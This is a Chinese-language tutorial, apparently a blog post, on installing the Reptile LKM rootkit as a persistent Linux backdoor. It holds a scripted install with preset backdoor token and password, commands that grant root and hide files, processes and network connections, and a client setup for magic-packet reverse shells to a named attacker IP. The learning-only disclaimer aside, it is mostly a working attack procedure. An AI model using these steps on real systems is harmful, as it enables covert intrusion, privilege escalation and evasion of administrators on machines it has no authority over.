免责声明:本文仅做技术交流与学习...
目录
权限维持-Linux-内核加载 LKM-Rootkit 后门
权限维持-Linux-内核加载 LKM-Rootkit 后门
现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf或者其它的tcp连接来反弹shell,这种做法比较容易被管理员发现。 所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
项目地址:
GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit
建议在其测试成功的版本型号上去安装
本文演示的为centos7 Cent0S7.764位 --------->
安装:
1-本地从项目下载好zip,然后解压,将解压后的文件放到centos的~目录,
2-在centos终端~目录创建s.sh,内容为:
centos自动化一键安装搭建------->
$kernel=`uname -r`
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
服务器IP
端口
1
EOF
--成功--
隐藏用法:
这里我们在自动化部署的时候隐藏了此目录(reptile),所以直接盲打就行.
将 root 权限授予非特权用户
/reptile/reptile_cmd root
隐藏文件、目录和内核模块
/reptile/reptile_cmd hide
/reptile/reptile_cmd show
============================
隐藏文件:文件名中带reptile的都会被隐藏.
mkdir reptile_xiaodi
mkdir reptile_file
看不到,但是可以cd进去.
ls -l
cd reptile_xiaodi
隐藏进程
/reptile/reptile_cmd hide <pid>
/reptile/reptile_cmd show <pid>
===================================
隐藏进程:/reptile/reptile_cmd hide
显示进程:/reptile/reptile_cmd show
nohup ping 114.114.114.114 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 4774
ps -ef | grep ping | grep -v grep
隐藏 TCP 和 UDP 连接
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
=========
隐藏连接:/reptile/reptile_cmd udp hide
显示连接:/reptile/reptile_cmd tcp show
netstat -anpt | grep 1100.100.45.106
/reptile/reptile_cmd tcp 100.100.45.106 443 hide
/reptile/reptile_cmd tcp 100.100.45.106 443 show
外连地址+端口:
隐藏IP进程:
高级玩法(c/s)
攻击机上(客户端)安装:
./setup.sh client
--进入bin目录, 启动~客户端终端
help
show
设置连接配置
LHOST 47.94.236.117 Local host to receive the shell
LPORT 4444 Local port to receive the shell
SRCHOST 47.94.236.117 Source host on magic packets (spoof)
SRCPORT 666 Source port on magic packets (only for TCP/UDP)
RHOST 121.43.154.113 Remote host(受害主机IP)
RPORT 22 Remote port (only for TCP/UDP) --冒充ssh协议的端口,封装(类似进程注入)
PROT TCP Protocol to send magic packet (ICMP/TCP/UDP)
PASS s3cr3t Backdoor password (optional)
TOKEN hax0r Token to trigger the shell
----这里的配置都要指向靶机安装的!!!!!!
set xxx xxxxxx
===============
LHOST47.94.236.117Local host to receive the shell
LPORT4444Local port to receive the shell
SRCHOST47.94.236.117Source host on magic packets (spoof)
SRCPORT666Source port on magic packets(only for TCP/UDP)
RHOST121.43.154.113Remote host
RPORT22Remote port (only for TCP/UDP)
PROTTCPProtocol to send magic packet (ICMP/TCP/UDP)
PASSs3cr3tBackdoor password (optional)
TOKENhax0rToken to trigger the shell